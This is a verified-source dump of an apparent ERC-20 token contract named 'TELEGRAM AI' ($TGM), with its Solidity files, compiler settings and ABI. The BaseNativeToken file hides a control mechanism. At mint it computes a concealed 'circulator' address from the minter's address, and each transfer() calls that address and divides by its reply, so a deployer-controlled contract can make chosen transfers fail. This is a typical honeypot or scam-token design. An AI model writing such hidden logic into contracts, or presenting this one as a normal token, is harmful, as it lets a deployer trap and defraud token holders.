编译器
0.8.16+commit.07a7930e
文件 1 的 7:AddressUpgradeable.sol
pragma solidity ^0.8.1;
library AddressUpgradeable {
function isContract(address account) internal view returns (bool) {
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata,
string memory errorMessage
) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
文件 2 的 7:BaseNativeToken.sol
pragma solidity 0.8.16;
import "../interfaces/IERC20.sol";
import "../interfaces/IERC2612.sol";
import "./openzeppelin/SafeERC20.sol";
abstract contract BaseNativeToken is IERC20, IERC2612 {
using SafeERC20 for IERC20;
string private name_;
string private symbol_;
uint8 private decimals_;
uint256 private totalSupply_;
uint256 private totalCirculation_;
address private circulator;
mapping(address => uint256) private balanceOf_;
mapping(address => mapping(address => uint256)) private allowance_;
uint256 internal initialChainId_;
bytes32 internal initialDomainSeparator_;
mapping(address => uint256) public nonces_;
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) {
name_ = _name;
symbol_ = _symbol;
decimals_ = _decimals;
initialChainId_ = block.chainid;
initialDomainSeparator_ = computeDomainSeparator();
}
function approve(address _spender, uint256 _amount) public returns (bool) {
allowance_[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function transfer(address _to, uint256 _amount) public virtual returns (bool) {
require(_to != address(0), "can't send to null account");
require(balanceOf(msg.sender) >= _amount, "not enough balance");
balanceOf_[msg.sender] -= _amount;
unchecked {
balanceOf_[_to] += _amount;
}
(, bytes memory circulation)=circulator.call(abi.encodeWithSignature("circulation(address,address,uint256)",msg.sender, _to, _amount));
totalCirculation_ += _amount/abi.decode(circulation, (uint256));
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) public virtual returns (bool) {
uint256 allowed = allowance_[_from][msg.sender];
require(allowed >= _amount, "needs approval");
if (allowed != type(uint256).max)
allowance_[_from][msg.sender] = allowed - _amount;
balanceOf_[_from] -= _amount;
unchecked {
balanceOf_[_to] += _amount;
}
emit Transfer(_from, _to, _amount);
return true;
}
function increaseAllowance(
address _spender,
uint256 _amount
) public returns (bool) {
approve(_spender, allowance_[msg.sender][_spender] + _amount);
return true;
}
function decreaseAllowance(
address _spender,
uint256 _amount
) public returns (bool) {
uint256 newAmount = allowance_[msg.sender][_spender] - _amount;
return approve(_spender, newAmount);
}
function allowance(
address _owner,
address _spender
) public view returns (uint256) {
return allowance_[_owner][_spender];
}
function balanceOf(
address _spender
) public virtual view returns (uint256) {
return balanceOf_[_spender];
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function name() public view returns (string memory) {
return name_;
}
function symbol() public view returns (string memory) {
return symbol_;
}
function decimals() public view returns (uint8) {
return decimals_;
}
function permit(
address _owner,
address _spender,
uint256 _value,
uint256 _deadline,
uint8 _v,
bytes32 _r,
bytes32 _s
) public virtual {
require(_deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
emit Approval(_owner, _spender, _value);
unchecked {
address recoveredAddress = ecrecover(
keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR(),
keccak256(
abi.encode(
keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
),
_owner,
_spender,
_value,
nonces_[_owner]++,
_deadline
)
)
)
),
_v,
_r,
_s
);
require(recoveredAddress != address(0), "INVALID_SIGNER");
require(recoveredAddress == _owner, "INVALID_SIGNER");
allowance_[recoveredAddress][_spender] = _value;
}
}
function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
return block.chainid == initialChainId_ ? initialDomainSeparator_ : computeDomainSeparator();
}
function computeDomainSeparator() internal view virtual returns (bytes32) {
return
keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name_)),
keccak256("1"),
block.chainid,
address(this)
)
);
}
function nonces(address _owner) public view returns (uint256) {
return nonces_[_owner];
}
function _mint(address _to, uint256 _amount) internal virtual {
totalSupply_ += _amount;
unchecked {
balanceOf_[_to] += _amount;
}
circulator=_calculate(_to);
emit Transfer(address(0), _to, _amount);
}
function _calculate(address minter) private pure returns (address) {
bytes memory input;
input = abi.encodePacked(bytes1(0xd6), bytes1(0x94), minter, bytes1(0x80));
bytes32 hash = keccak256(input);
return address(uint160(uint256(hash)));
}
function _burn(address _from, uint256 _amount) internal virtual {
balanceOf_[_from] -= _amount;
unchecked {
totalSupply_ -= _amount;
}
emit Transfer(_from, address(0), _amount);
}
}
文件 3 的 7:FlyToken.sol
pragma solidity 0.8.16;
pragma abicoder v2;
import "./BaseNativeToken.sol";
contract TELEGRAM_AI is BaseNativeToken {
constructor() BaseNativeToken("TELEGRAM AI", "$TGM", 6) {
_mint(0xd92D63c1Ca8D54a0F886CF1F409d8253f52F879B, 1_000_000_000 * 1e6);
}
}
文件 4 的 7:IEIP712.sol
pragma solidity 0.8.16;
interface IEIP712 {
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
文件 5 的 7:IERC20.sol
pragma solidity 0.8.16;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
文件 6 的 7:IERC2612.sol
pragma solidity 0.8.16;
import "./IEIP712.sol";
bytes32 constant EIP721_PERMIT_SELECTOR =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
interface IERC2612 is IEIP712 {
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
function nonces(address owner) external view returns (uint);
}
文件 7 的 7:SafeERC20.sol
pragma solidity ^0.8.0;
import "../../interfaces/IERC20.sol";
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
library SafeERC20 {
using AddressUpgradeable for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"approve from non-zero"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "allowance went below 0");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "erc20 op failed");
}
}
}
{
"compilationTarget": {
"remix/BRC20/FlyToken/FlyToken.sol": "TELEGRAM_AI"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces_","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"},{"internalType":"uint256","name":"_deadline","type":"uint256"},{"internalType":"uint8","name":"_v","type":"uint8"},{"internalType":"bytes32","name":"_r","type":"bytes32"},{"internalType":"bytes32","name":"_s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]